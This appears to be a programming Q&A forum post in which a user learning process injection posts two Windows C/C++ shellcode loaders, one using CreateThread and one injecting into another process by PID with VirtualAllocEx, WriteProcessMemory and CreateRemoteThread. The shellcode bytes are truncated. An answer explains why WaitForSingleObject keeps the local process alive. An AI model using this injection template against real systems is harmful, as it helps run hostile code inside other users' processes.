Thread Execution Differences Between CreateThread and CreateRemoteThread

I am trying to learn how to do process injections. First, I learn shellcode types in C/C++. However, I met a problem. One code is written by using CreateThread. That is okay but after CreateThread, I have to use WaitForSingleObject function to prevent thread from finishing immediately. Thus, the thread lasts until I exit.

First shellcode written by using CreateThread:

#include <Windows.h>

void main()
    const char shellcode[] = "\xfc\xe8\x82 (...) ";
    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
    DWORD threadID;
    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
    WaitForSingleObject(hThread, INFINITE);

However, the real problem begins here. If I inject shellcode to another process, I use CreateRemoteThread but after this function I do not need to use WaitForSingleObject because it automatically lasts until I exit. I do not understand why I have to use WaitForSingleObject for CreateThread while I can write CreateRemoteThread without it seamlessly.

Second shellcode written by using CreateRemoteThread:

#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
    unsigned char shellcode[] = "\x48\x31\xc9\x48 (...) ";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

    return 0;

I have tried to delete WaitForSingleObject but the shellcode written by using CreateThread did not work.

>Solution :

You’ve misunderstood what WaitForSingleObject on a thread is doing. It isn’t keeping alive the thread that you pass to it. It is blocking the thread that makes the call.

When the main() thread returns, the runtime library calls ExitProcess which kills all other threads in the same process. So you have to prevent reaching the end of main(), and a wait function inside does that. But there are plenty of other ways that main() might keep running, for example creating a window and entering a GetMessage/TranslateMessage/DispatchMessage loop.

When you inject into a remote process, it normally has its own lifetime and your new thread is not at risk of being terminated. Even though your injector returns from main(), only threads in the same process are killed off.

Leave a Reply